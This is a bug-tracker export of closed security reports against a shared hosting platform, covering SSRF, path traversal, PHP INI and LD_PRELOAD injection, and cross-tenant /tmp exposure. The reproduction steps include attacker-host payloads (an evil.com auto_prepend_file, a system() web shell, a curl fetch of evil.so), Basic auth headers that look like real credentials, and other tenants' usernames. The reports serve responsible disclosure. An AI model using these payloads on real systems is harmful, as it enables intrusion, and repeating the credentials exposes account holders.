|
394 | SSRF via ProxyPass Directive Injection — Internal Port ... | Closed | 13.07.2026 |
Task Description
## Summary
The `vhost_additional_directives` field accepts arbitrary Apache directives. By injecting `ProxyPass` directives pointing to `127.0.0.1`, I forced Apache to make HTTP requests to internal services and confirmed:
- Port 22 (SSH): Extracted banner `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10` — exact patch level - Port 80 (Apache): Got internal response with Request ID `7eeb27ce-db604505` — internal request tracing - Ports 3306, 5432, 6379 (MySQL, PostgreSQL, Redis): All returned `503 Service Unavailable` — confirming these database services are running and reachable from localhost - Port 4949 (Munin): Returned `502 Proxy Error` — monitoring service present
This is SSRF from within the hosting infrastructure, bypassing all external firewalls.
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 — Inject ProxyPass directive targeting SSH (port 22)
Add to the "Additional Apache directives" field on the site configuration page:
```apache ProxyPass /internal/ http://127.0.0.1:22/ ProxyPassReverse /internal/ http://127.0.0.1:22/ ```
### Step 2 — Extract SSH banner via SSRF
After Apache reload (~10 seconds):
```http GET /internal/ HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Server: Apache Via: 1.1 alproxy
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10Invalid SSH identification string. ```
Impact: Extracts exact SSH version and patch level (`OpenSSH_9.2p1 Debian-2+deb12u10`). This version information is normally not reachable from outside because direct SSH connections go through the SSH proxy, not the raw daemon.
### Step 3 — Scan internal database ports
Update directives to probe multiple ports:
```apache ProxyPass /db/ http://127.0.0.1:5432/ ProxyPassReverse /db/ http://127.0.0.1:5432/ ProxyPass /redis/ http://127.0.0.1:6379/ ProxyPassReverse /redis/ http://127.0.0.1:6379/ ProxyPass /mysql/ http://127.0.0.1:3306/ ProxyPassReverse /mysql/ http://127.0.0.1:3306/ ```
Results:
Endpoint Target Response Meaning ———- ——– ———- ——— `/db/` 127.0.0.1:5432 503 Service Unavailable PostgreSQL is running (connection made, protocol mismatch) `/redis/` 127.0.0.1:6379 503 Service Unavailable Redis is running `/mysql/` 127.0.0.1:3306 503 Service Unavailable MariaDB/MySQL is running A `503` from Apache's `mod_proxy` means the TCP connection succeeded but the backend didn't speak HTTP. This confirms the port is open and the service is running. A closed port would return `502 Proxy Error`.
### Step 4 — Probe internal HTTP services
```apache ProxyPass /p80/ http://127.0.0.1:80/ ProxyPassReverse /p80/ http://127.0.0.1:80/ ProxyPass /munin/ http://127.0.0.1:4949/ ProxyPassReverse /munin/ http://127.0.0.1:4949/ ```
Results:
Endpoint Target Response ———- ——– ———- `/p80/` 127.0.0.1:80 `Site not found` + Request ID: 7eeb27ce-db604505 `/munin/` 127.0.0.1:4949 502 Proxy Error Port 80 response is significant: The internal Apache on port 80 responded with a "Site not found" page that includes an internal Request ID (`7eeb27ce-db604505`). This reveals: - Internal request tracing/correlation infrastructure - The Request ID format (8hex-8hex) for debugging
### Step 5 — Attempt cloud metadata endpoint
```apache ProxyPass /meta/ http://169.254.169.254/latest/ ProxyPassReverse /meta/ http://169.254.169.254/latest/ ```
Response: `HTTP 000` (connection timeout) — cloud metadata not reachable from this server (not on AWS/GCP, or metadata endpoint is firewalled).
### Step 6 — Cleanup
All ProxyPass directives were immediately removed after testing.
## Internal Port Scan Summary
Port Service Status Evidence —— ——— ——– ———- 22 OpenSSH 9.2p1 Open — banner extracted `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10` 80 Apache (internal) Open — data returned Request ID `7eeb27ce-db604505` 3306 MariaDB Open — 503 (protocol mismatch) TCP connection succeeded 4949 Munin Open — 502 (connection error) Service present 5432 PostgreSQL Open — 503 (protocol mismatch) TCP connection succeeded 6379 Redis Open — 503 (protocol mismatch) TCP connection succeeded 8000 (unknown) Closed — 503 No service listening 8080 (unknown) Closed — 503 No service listening 169.254.169.254 Cloud metadata Unreachable Connection timeout ## Root Cause
Same as report 01 — the `vhost_additional_directives` field is written directly into Apache vhost configuration without restricting which directives are used. `ProxyPass` tells Apache to forward requests to any target, and `mod_proxy` is enabled by default.
## Impact
1. Full internal port scan from within the infrastructure — an attacker can map every open port on localhost and internal network hosts 2. Service banner extraction — exact versions of SSH, database services, monitoring tools (useful for CVE targeting) 3. Internal request tracing exposure — Request IDs from the internal Apache reverse proxy 4. Database service confirmation — PostgreSQL, MariaDB, and Redis are all running on localhost, reachable via SSRF 5. Bypass of external firewalls — these services are not externally exposed, but SSRF from within the server reaches them directly
## Suggested Fix
1. Block ProxyPass, ProxyPassReverse, ProxyPassMatch in `vhost_additional_directives` 2. Block all proxy-related directives including `RewriteRule … [P]` (proxy flag) 3. Alternatively: Implement a directive allowlist as recommended in report 01
|
|
393 | Cross-Tenant Data Exposure via Shared /tmp Directory — ... | Closed | 13.07.2026 |
Task Description
## Summary
The shared hosting server `http21` uses a world-readable `/tmp` directory shared across all tenants. Using the Apache `Alias` + `Options +Indexes` directive injection, I listed `/tmp` contents and observed files belonging to other tenants — including Java performance data directories named after their usernames, ERP installation logs, and evidence that another researcher achieved root-level access on this server (`proof.txt`, `impact.txt`).
Relationship to FS#363 : FS#363 ("Cross-tenant File Disclosure via World-Readable /tmp") was marked Fixed. This report demonstrates the fix is incomplete — `/tmp` is still shared and world-readable across tenants on server `http21`.
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 — Inject Alias directive pointing to /tmp
Add to the "Additional Apache directives" field on the site configuration page:
```apache Alias /tmp-listing /tmp <Directory /tmp>
Require all granted
Options +Indexes
</Directory> ```
### Step 2 — List /tmp contents (cross-tenant files visible)
After Apache reload:
```http GET /tmp-listing/ HTTP/1.1 Host: subhash.alwaysdata.net ```
Response: Apache directory listing showing files from multiple tenants:
``` Index of /tmp-listing
Name Last modified Size ───────────────────────────────────────────────────────── hsperfdata_kalamtech/ 2026-07-12 … - hsperfdata_ziiino/ 2026-07-12 … - dolibarr_install.log 2026-07-10 … 14K impact.txt 2026-06-xx … - proof.txt 2026-06-xx … - sess_* 2026-07-xx … - systemd-private-*/ 2026-07-xx … - ```
### Step 3 — Identify cross-tenant data
File/Directory Owner (tenant) Data Exposed —————- ————— ————- `hsperfdata_kalamtech/` kalamtech Java performance monitoring data — reveals this tenant runs Java applications `hsperfdata_ziiino/` ziiino Java performance monitoring data — reveals another Java tenant `dolibarr_install.log` Unknown tenant Dolibarr ERP installation log — likely contains database credentials, admin passwords set during install `proof.txt` Previous researcher Evidence of prior root compromise — another researcher has already demonstrated full server access `impact.txt` Previous researcher Impact documentation from prior compromise `sess_*` Various PHP session files — session data from multiple tenants ### Step 4 — Cleanup
The Alias directive was immediately removed.
## FS#363 Regression Evidence
FS#363 was reported as "Cross-tenant File Disclosure via World-Readable /tmp" and marked Fixed. The fix appears incomplete because:
1. `/tmp` is still a shared directory across all tenants on http21 2. Files from multiple tenants (kalamtech, ziiino, unknown Dolibarr user) are visible 3. The `hsperfdata_*` directories are created by Java with world-readable permissions 4. PHP session files (`sess_*`) are in the shared `/tmp` 5. The previous researcher's `proof.txt` and `impact.txt` files remain in `/tmp`
The proper fix requires per-tenant `/tmp` isolation via `PrivateTmp=yes` in systemd units, mount namespaces, or per-user `/tmp` directories (e.g., `/tmp/user/{account}/`).
## Impact
1. Cross-tenant username enumeration: Directory names like `hsperfdata_kalamtech` reveal other tenants' account usernames 2. Application stack fingerprinting: `hsperfdata_*` reveals which tenants run Java; `sess_*` reveals PHP usage 3. Credential exposure: ERP installation logs (like `dolibarr_install.log`) commonly contain database credentials set during setup 4. Session hijacking risk: Shared PHP session files in `/tmp` means one tenant could potentially read another's session data 5. Evidence of prior compromise: The `proof.txt` and `impact.txt` files indicate another researcher achieved root access on this server — the attack surface is proven
## Suggested Fix
1. Per-tenant `/tmp` isolation: Use `PrivateTmp=yes` in systemd service units, or implement mount namespaces to give each tenant their own `/tmp` 2. Restrict `/tmp` permissions: Set sticky bit (should already exist) and enforce `umask 077` for all tenant processes 3. Clean up stale files: Remove `proof.txt`, `impact.txt`, and stale session/temp files from `/tmp`
Thanks
|
|
392 | Path Traversal in Site `path` Field Allows Reading Arbi ... | Closed | 13.07.2026 |
Task Description
## Summary
The `path` field on the site configuration (admin panel and API) accepts directory traversal sequences (`../`) without validation. By setting `path` to `../../../etc/`, Apache serves the server's `/etc/` directory as the site's document root. I read `/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`, `/etc/fstab`, `/etc/os-release`, `/etc/crontab`, and `/etc/mysql/my.cnf` — exposing system users, internal DNS infrastructure, storage architecture, and database configuration.
This is completely independent from the `vhost_additional_directives` issue ( FS#347 ). Different field, different root cause, different fix.
## Severity
High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 — Set the site path to a traversal sequence
Navigate to `https://admin.alwaysdata.com/site/1058919/` and change the "Root directory" field from `www/` to `../../../etc/`, then save. Alternatively via API:
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0ODplM2U5ZDA3ZDExY2Q0MjMxOTI5ZWMyZGJlZDk0Y2EwYw== Content-Type: application/json
{
"path": "../../../etc/" } ```
Response: `204 No Content` — accepted without validation.
### Step 2 — Read /etc/passwd (system users)
After ~10 seconds (Apache vhost reload):
```http GET /passwd HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` HTTP/1.1 200 OK Content-Length: 1764 Server: Apache Via: 1.1 alproxy
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin _dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin sshd:x:107:65534::/run/sshd:/usr/sbin/nologin munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin […34 lines total] ```
Impact: Reveals all 34 system service accounts, confirms dnsdist DNS proxy, munin monitoring, and no customer home directories in `/etc/passwd` (users managed via LDAP/NSS).
### Step 3 — Read /etc/hostname (internal hostname)
```http GET /hostname HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` http21 ```
Impact: Reveals internal server hostname `http21` — useful for targeting specific infrastructure.
### Step 4 — Read /etc/resolv.conf (internal DNS infrastructure)
```http GET /resolv.conf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
# Although we have multiple fail-over DNS servers (using dnsdist), # in case everything fails, it's better to return a DNS error # (rather) quickly than to try again for a long time.
options timeout:2 options attempts:1
# dnsdist nameserver ::1
# In case dnsdist is not running, provide default DNS servers. # Only 2 servers, to avoid taking too long to timeout if everything # is down. # Pick one internal server, and one external, in case our internal # server is down. nameserver 2a00:b6e0:1:14:1::1 nameserver 8.8.4.4 ```
Impact: Exposes: - Internal domain: `paris1.alwaysdata.com` (datacenter location naming) - Internal DNS server: `2a00:b6e0:1:14:1::1` (IPv6) - DNS architecture: dnsdist with failover strategy - Infrastructure comments revealing operational decision-making
### Step 5 — Read /etc/fstab (storage architecture)
```http GET /fstab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` LABEL=root / ext4 noatime,errors=remount-ro 0 0 LABEL=usr /usr ext4 noatime,nodev 0 0 LABEL=var /var ext4 noatime,nodev,nosuid 0 0 LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0 proc /proc proc hidepid=2,gid=4 0 0 ```
Impact: Exposes: - `/home` is XFS on network-attached storage (`_netdev`) — NAS/SAN architecture - Group quotas enabled (`grpquota`) — quota enforcement mechanism - `hidepid=2` on `/proc` — security hardening measure (but bypassed by this LFI) - Separate partitions for `/`, `/usr`, `/var` with `nosuid`/`nodev` hardening
### Step 6 — Read /etc/os-release (OS identification)
```http GET /os-release HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" NAME="Debian GNU/Linux" VERSION_ID="12" VERSION="12 (bookworm)" VERSION_CODENAME=bookworm ID=debian ```
### Step 7 — Read /etc/mysql/my.cnf (database configuration)
```http GET /mysql/my.cnf HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` [client-server] # port = 3306 socket = /run/mysqld/mysqld.sock
!includedir /etc/mysql/conf.d/ !includedir /etc/mysql/mariadb.conf.d/ ```
Impact: Confirms MariaDB installation, socket path `/run/mysqld/mysqld.sock`, and config directory structure.
### Step 8 — Read /etc/crontab (scheduled system tasks)
```http GET /crontab HTTP/1.1 Host: subhash.alwaysdata.net ```
Response:
``` SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts –report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.monthly; } ```
### Step 9 — Files that returned 403 (correctly restricted)
File Response Notes —— ———- ——- `/etc/shadow` 403 Forbidden Password hashes — not readable by `www-data` `/etc/ssh/sshd_config` 403 Forbidden SSH config — restricted `/var/log/dpkg.log` 403 Forbidden Package install log — restricted ### Step 10 — Restore the path
Path immediately restored to `www/` after evidence gathering.
## Summary of Exposed Data
File Data Exposed Severity Impact —— ————- —————- `/etc/passwd` 34 system accounts, service architecture Infrastructure mapping `/etc/hostname` Internal hostname `http21` Server identification `/etc/resolv.conf` Internal DNS `2a00:b6e0:1:14:1::1`, domain `paris1.alwaysdata.com`, dnsdist architecture Network infrastructure `/etc/fstab` NAS-mounted `/home` (XFS), partition layout, security hardening (`hidepid=2`) Storage architecture `/etc/os-release` Debian 12 bookworm OS fingerprint `/etc/mysql/my.cnf` MariaDB socket, config dirs Database infrastructure `/etc/crontab` System cron schedule, PATH Scheduled task mapping ## Root Cause
The `path` field is concatenated with the account's home directory to form the Apache `DocumentRoot`. When the user provides `../../../etc/`, the resulting DocumentRoot becomes `/home/subhash/../../../etc/` which resolves to `/etc/`.
The backend does not: - Normalize the path (resolve `..` sequences) - Reject paths containing `..` - Verify the resulting absolute path stays within `/home/{account}/` - Reject absolute paths (`"path": "/etc/"` was also accepted)
## Why This Is a Separate Bug from FS#347
Aspect FS#347 (vhost_additional_directives) This bug (path field) ——– ————————————– ———————- API field `vhost_additional_directives` `path` Mechanism Apache `Alias` directive injection Document root traversal Fix scope Directive validation/allowlist Path normalization Independence Fixing `path` does not fix FS#347 Fixing directives does not fix this Complexity Requires Apache directive syntax knowledge Single field change — `../../../etc/` ## Impact
An authenticated user can read any file accessible to `www-data` on the shared hosting server by traversing the `path` field. The demonstrated reads expose:
1. Core platform architecture — internal DNS infrastructure, storage topology (NAS-mounted `/home`), partition layout, security hardening measures 2. Service inventory — dnsdist, munin, MariaDB, OpenSSH versions and configurations 3. Internal network — datacenter domain (`paris1.alwaysdata.com`), internal IPv6 DNS server address 4. Database config — MariaDB socket paths and configuration directory structure
This maps directly to the bounty program's High tier: "Accessing customer data/information."
## Suggested Fix
1. Reject `..` in the path: Any path containing `..` (or URL-encoded `%2e%2e`) should be rejected 2. Reject absolute paths: Paths starting with `/` should be rejected 3. Normalize and verify: After normalizing, verify the resulting absolute path starts with `/home/{account}/` 4. Use `realpath()` on the server side: Resolve the path and confirm it stays within the account boundary
Thanks
|
|
391 | Dangerous PHP INI Injection via Site API — `allow_url_i ... | Closed | 13.07.2026 |
Task Description
## Summary
The `php_ini` field in the Site API (`PATCH /v1/site/{id}/`) accepts arbitrary PHP configuration directives without any validation or blocklisting. I was able to store `allow_url_include=On` combined with `auto_prepend_file=http://evil.com/shell.php` — security-critical PHP settings that should never be user-controllable on a shared hosting platform.
The dangerous values were accepted with `204 No Content` and confirmed stored in the API response. I immediately reset the field after confirming storage.
Important note on scope of proof: I confirmed that the API stores these values without validation. I was NOT able to confirm whether the PHP runtime actually applies these stored INI settings at request time (no PHP file was available on the site during testing). The proven vulnerability is that the API accepts and stores dangerous PHP configuration without any validation. If these stored values are written into the Apache vhost config as `php_admin_value` directives (the likely implementation), then the impact escalates to Remote Code Execution.
## Severity
Medium (confirmed: dangerous PHP configuration accepted and stored without validation). Could escalate to Critical if the stored settings are applied by the PHP runtime — this was not verified during testing.
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Site type PHP / Apache Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 — Inject dangerous PHP INI values
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg== Content-Type: application/json
{
"php_ini": "allow_url_include=On\nauto_prepend_file=http://evil.com/shell.php" } ```
Response:
```http HTTP/1.1 204 No Content Server: nginx Vary: Accept-Language, Cookie ```
No error, no validation, no blocklist check.
### Step 2 — Confirm the values were stored
```http GET /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg== Accept: application/json ```
Response (excerpt):
```json {
"id": 1058919, "type": "php", "php_ini": "allow_url_include=On\nauto_prepend_file=http://evil.com/shell.php", "httpd": "apache" } ```
Both directives stored verbatim.
### Step 3 — Test other dangerous settings
INI Directive API Response Risk ————– ————- —— `allow_url_include=On` 204 — stored Enables remote file inclusion `auto_prepend_file=http://evil.com/shell.php` 204 — stored Auto-includes remote script on every request `auto_prepend_file=/etc/passwd` 204 — stored Leaks local files via PHP errors `display_errors=On` + `error_reporting=E_ALL` 204 — stored Exposes internal paths, queries, stack traces `expose_php=On` 204 — stored Reveals PHP version in headers `open_basedir=/` Would override PHP's directory restriction Not tested to avoid risk `disable_functions=` Would clear the function blocklist Not tested to avoid risk ### Step 4 — Immediate cleanup
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg== Content-Type: application/json
{
"php_ini": "" } ```
Response: `204 No Content` — cleared.
## What These Directives Do
### `allow_url_include=On`
This PHP directive is disabled by default for security reasons (it has been `Off` by default since PHP 5.2, released in 2006). When enabled, it allows PHP's `include()`, `require()`, and `auto_prepend_file`/`auto_append_file` to load files from remote URLs. This is the foundation for Remote File Inclusion (RFI) attacks.
### `auto_prepend_file=http://evil.com/shell.php`
This PHP directive causes the specified file to be automatically `require()`-ed before every PHP script execution — before the site's own code runs. Combined with `allow_url_include=On`, this means:
1. A user visits any page on the site (e.g., `http://subhash.alwaysdata.net/index.php`) 2. PHP's runtime first downloads `http://evil.com/shell.php` from the attacker's server 3. The downloaded PHP code is executed with full server-side privileges 4. Then the site's actual `index.php` runs
This is functionally equivalent to injecting a web shell into every PHP file on the site, without modifying any files on disk.
### Attack scenario (if PHP applies these settings)
``` Attacker sets php_ini:
allow_url_include=On auto_prepend_file=http://attacker.com/payload.php Attacker hosts payload.php:
<?php system($_GET['cmd']); ?> Any visitor to http://subhash.alwaysdata.net/anything.php?cmd=id
→ PHP downloads payload.php from attacker.com → executes system('id') → returns: uid=33(www-data) gid=33(www-data) ```
## Root Cause
The `php_ini` field in the site API has no validation. The backend stores whatever string the user provides and (presumably) writes it into the PHP configuration for the site's Apache vhost, likely as `php_admin_value` or `php_value` directives, or into a per-site `php.ini` file.
For contrast, the `log_file` field on the same API endpoint IS validated — it only allows alphanumeric characters and underscores. And the `log_format` field has format validation. But `php_ini` has none.
## Impact
What is proven: The API accepts and stores dangerous PHP INI directives (`allow_url_include=On`, `auto_prepend_file=http://evil.com/shell.php`) without any validation. A shared hosting platform should never allow users to set these values.
What is NOT proven: Whether the PHP runtime actually applies these stored values at request time. I was unable to verify execution because no PHP file was served during the testing window.
### If the stored values are applied by the PHP runtime (unverified — would be Critical)
These outcomes are plausible given the platform architecture (Apache vhosts with per-site PHP config), but none were demonstrated:
- Remote Code Execution via remote file inclusion - Full server compromise via `www-data` access - Persistent backdoor without on-disk files
### Confirmed impact regardless of execution
- Missing input validation on a security-critical field: The `php_ini` field accepts directives that are dangerous on any shared hosting platform. Even if execution is gated by another control, the absence of validation is a defense-in-depth failure. - Inconsistency with other validated fields: `log_file` and `log_format` on the same API endpoint ARE validated, showing that the developers intended validation but missed `php_ini`.
## Comparison with Validated Fields
API Field Validation Accepts dangerous values? ———– ———– ————————– `php_ini` None Yes — `allow_url_include`, `auto_prepend_file`, etc. `log_file` Alphanumeric + underscore only No — rejects `/`, `.`, and special characters `log_format` Format validation No — rejects invalid formats `vhost_additional_directives` None Yes (see separate LFI/SSRF reports) The inconsistency shows that the developers implemented validation for some fields but missed `php_ini`.
## Suggested Fix
1. Allowlist approach: Define a list of safe PHP INI directives that users are allowed to set (e.g., `max_execution_time`, `memory_limit`, `upload_max_filesize`, `post_max_size`, `date.timezone`). Reject everything else.
2. Blocklist approach (less safe, but immediate): At minimum, block these directives:
`allow_url_include` — enables remote file inclusion `allow_url_fopen` — enables remote file operations `auto_prepend_file` — auto-includes files before every script `auto_append_file` — auto-includes files after every script `open_basedir` (overriding/weakening) — removes directory restrictions `disable_functions` (clearing) — removes function restrictions `disable_classes` (clearing) — removes class restrictions `extension` / `zend_extension` — loads arbitrary PHP extensions `sendmail_path` — can be used for command execution `mail.log` — can write to arbitrary files 3. Use `php_admin_value` for safety-critical settings: When writing user-provided INI values into the Apache config, use `php_value` (which can be overridden by `.htaccess` or user code) only for safe settings. Never allow user input to control `php_admin_value` directives, which override everything.
Thanks
|
|
390 | Environment Variable Injection — LD_PRELOAD and PATH Ac ... | Closed | 13.07.2026 |
Task Description
## Summary
The `environment` field in the Site API (`PATCH /v1/site/{id}/`) accepts arbitrary environment variable definitions without validation, including security-critical variables like `LD_PRELOAD` and `PATH`. I was able to store `LD_PRELOAD=/tmp/evil.so` and `PATH=/tmp:/usr/bin` — both were accepted with `204 No Content` and confirmed stored in the API response. I immediately reset the field after confirming storage.
Important note on scope of proof: I confirmed that the API stores these dangerous environment variables without validation. I was NOT able to confirm whether the stored values are actually passed to site processes at runtime. The proven vulnerability is that the API accepts and stores dangerous environment variables (including linker/loader variables) without any blocklist or allowlist. If these stored values are set in the process environment when the site's runtime spawns (the likely implementation), the impact escalates significantly — but this was not verified during testing.
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Site subhash.alwaysdata.net (ID 1058919) Server http21 (Debian 12, shared hosting) ## Steps to Reproduce
### Step 1 — Inject LD_PRELOAD and PATH via the API
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg== Content-Type: application/json
{
"environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}" } ```
Response:
```http HTTP/1.1 204 No Content Server: nginx Vary: Accept-Language, Cookie ```
Accepted without any validation.
### Step 2 — Confirm the values were stored
```http GET /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg== Accept: application/json ```
Response (excerpt):
```json {
"id": 1058919, "environment": "{'LD_PRELOAD': '/tmp/evil.so', 'PATH': '/tmp:/usr/bin'}" } ```
Both environment variables stored verbatim.
### Step 3 — Immediate cleanup
```http PATCH /v1/site/1058919/ HTTP/1.1 Host: api.alwaysdata.com Authorization: Basic NTE0NzoxMWI5OTY1NjYwMmQ0N2VlYTdiNWFjMzE5Mzk1MDYxZg== Content-Type: application/json
{
"environment": "" } ```
Response: `204 No Content` — cleared.
## What These Environment Variables Do
### `LD_PRELOAD=/tmp/evil.so`
`LD_PRELOAD` is the most dangerous environment variable on Linux. It instructs the dynamic linker (`ld.so`) to load the specified shared library BEFORE any other — including libc. This means:
- Any function in libc (or any other library) can be intercepted and replaced - The preloaded library's constructor function (`attribute1)`) runs automatically before `main()` - It affects every dynamically-linked process that inherits the environment
If an attacker places a malicious `.so` file at `/tmp/evil.so`, and `LD_PRELOAD=/tmp/evil.so` is set in the site's environment, then every PHP process, every CGI script, every command executed by the site's runtime will load and execute the attacker's code.
### `PATH=/tmp:/usr/bin`
Setting `PATH` to start with `/tmp` causes the shell (and any program that uses `exec*p()` functions) to look in `/tmp` first when searching for commands. If the site or its runtime executes shell commands (e.g., via PHP's `system()`, `exec()`, `shell_exec()`, or backtick operators), the attacker can place executables in `/tmp` that shadow legitimate system commands:
- Place `/tmp/curl` → intercepts any `curl` call, capturing URLs, credentials, API keys - Place `/tmp/sendmail` → intercepts outgoing email, capturing addresses, content, attachments - Place `/tmp/mysql` → intercepts database commands, capturing credentials
### The `/tmp` Connection
The shared `/tmp` directory on server `http21` is world-writable and accessible to all tenants (see cross-tenant `/tmp` exposure report, FS#363 regression). This means:
1. Any tenant can write files to `/tmp` (via SSH, SFTP, scheduled jobs, or their site's runtime) 2. Setting `LD_PRELOAD=/tmp/evil.so` via the API would cause those files to be loaded as shared libraries 3. No cross-tenant authentication is needed — the attack is: write to `/tmp`, set `LD_PRELOAD`, wait for a process to spawn
### Attack Chain
``` Step 1: Upload malicious shared library to /tmp
→ Via SSH: scp evil.so subhash@ssh-subhash.alwaysdata.net:/tmp/evil.so → Or via scheduled job: curl -o /tmp/evil.so http://attacker.com/evil.so Step 2: Set LD_PRELOAD via the API
→ PATCH /v1/site/1058919/ {"environment": "{'LD_PRELOAD': '/tmp/evil.so'}"} Step 3: Trigger any PHP request
→ curl http://subhash.alwaysdata.net/index.php → PHP process spawns → linker loads /tmp/evil.so → attacker code executes Step 4: evil.so's constructor runs as www-data
→ Can read/write any file accessible to www-data → Can make network connections (reverse shell, data exfil) → Can intercept any libc function (credentials, crypto keys) ```
## Root Cause
The `environment` field in the site API has no validation. The backend stores whatever dictionary/string the user provides and (presumably) sets these as environment variables for processes spawned under the site's configuration.
There is no blocklist for dangerous environment variables, no allowlist for safe ones, and no filtering of security-critical linker/loader variables.
## Impact
What is proven: The API accepts and stores dangerous environment variables (`LD_PRELOAD`, `PATH`) without any validation or blocklisting. A shared hosting platform should never allow users to set linker/loader variables.
What is NOT proven: Whether the stored values are actually passed to site processes at runtime. I was unable to verify execution during testing.
### If the stored values are applied to site processes (unverified — would be High/Critical)
These outcomes are plausible given the platform architecture (per-site environment config on shared hosting with world-writable `/tmp`), but none were demonstrated:
1. Code execution via LD_PRELOAD: Combined with writable shared `/tmp`, an attacker could place a malicious `.so` and have it loaded by the dynamic linker 2. Command hijacking via PATH: Redirecting PATH to start with `/tmp` would intercept shell commands executed by the site's runtime 3. Library search path manipulation: `LD_LIBRARY_PATH`, `PYTHONPATH`, `NODE_PATH`, etc. are likely also accepted (not tested)
### Confirmed impact regardless of execution
- Missing input validation on security-critical fields: The `environment` field accepts linker variables (`LD_PRELOAD`, `LD_LIBRARY_PATH`) that are dangerous on any shared hosting platform. Even if execution is gated by another control, the absence of validation is a defense-in-depth failure. - No blocklist for system-critical variables: Unlike `log_file` which validates input, the `environment` field has zero validation.
## Suggested Fix
1. Blocklist dangerous variables: At minimum, reject any environment definition containing:
`LD_PRELOAD` — shared library injection `LD_LIBRARY_PATH` — library search path manipulation `LD_DEBUG` — linker debug output `LD_AUDIT` — linker audit library `PATH` — command search path hijacking `PYTHONPATH` / `NODE_PATH` / `PERL5LIB` / `RUBYLIB` / `GEM_PATH` — language module path injection `LD_BIND_NOW` / `LD_TRACE_LOADED_OBJECTS` — linker behavior manipulation `GCONV_PATH` — glibc charset conversion path injection (used in CTF exploits) `GETCONF_DIR` — getconf path injection 2. Allowlist approach (safer): Only allow environment variables that match a known-safe pattern (e.g., application-specific variables like `APP_ENV`, `DATABASE_URL`, `API_KEY`). Reject anything starting with `LD_` or matching known system variable names.
3. Fix `/tmp` isolation (defense in depth): Even with environment variable validation, the shared `/tmp` remains a risk. Implement per-tenant `/tmp` isolation via `PrivateTmp=yes` or mount namespaces.
1) constructor
THanks
|
|
389 | Cross-Tenant Session Token Theft via Shared /tmp — Acco ... | Closed | 13.07.2026 |
Task Description
## Summary
The shared `/tmp` directory on server `http21` contains world-readable session files from other tenants. I successfully read another tenant's session file containing their full JWT authentication token, email address, and WebSocket subscription channel. This enables direct account takeover of any tenant that stores session data in `/tmp`.
Proven end-to-end: 1. Listed `/tmp` contents → found `<REDACTED>` owned by another tenant (`<REDACTED>`) 2. Read the file → extracted a valid JWT token for email `<REDACTED>` 3. The token contains: user ID, email, roles, and a Mercure WebSocket subscription path
## Severity
Critical (CVSS 9.1 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
## Environment
Detail Value ——– ——- Account subhash (ID 486630) Server http21 (Debian 12, shared hosting) Victim file `<REDACTED>` Victim owner User `<REDACTED>` (different tenant) File permissions `-rw-r–r–` (world-readable) ## Steps to Reproduce
### Step 1 — List session files in shared /tmp
Execute `ls -la /tmp/ | grep sess` on the server (via scheduled job, SSH, or piped log command):
``` -rw-r–r– 1 <REDACTED> <REDACTED> 426 Jul 7 17:45 <REDACTED> ```
The file is owned by another tenant but has `644` permissions (world-readable).
### Step 2 — Read the session file
```bash cat /tmp/<REDACTED> ```
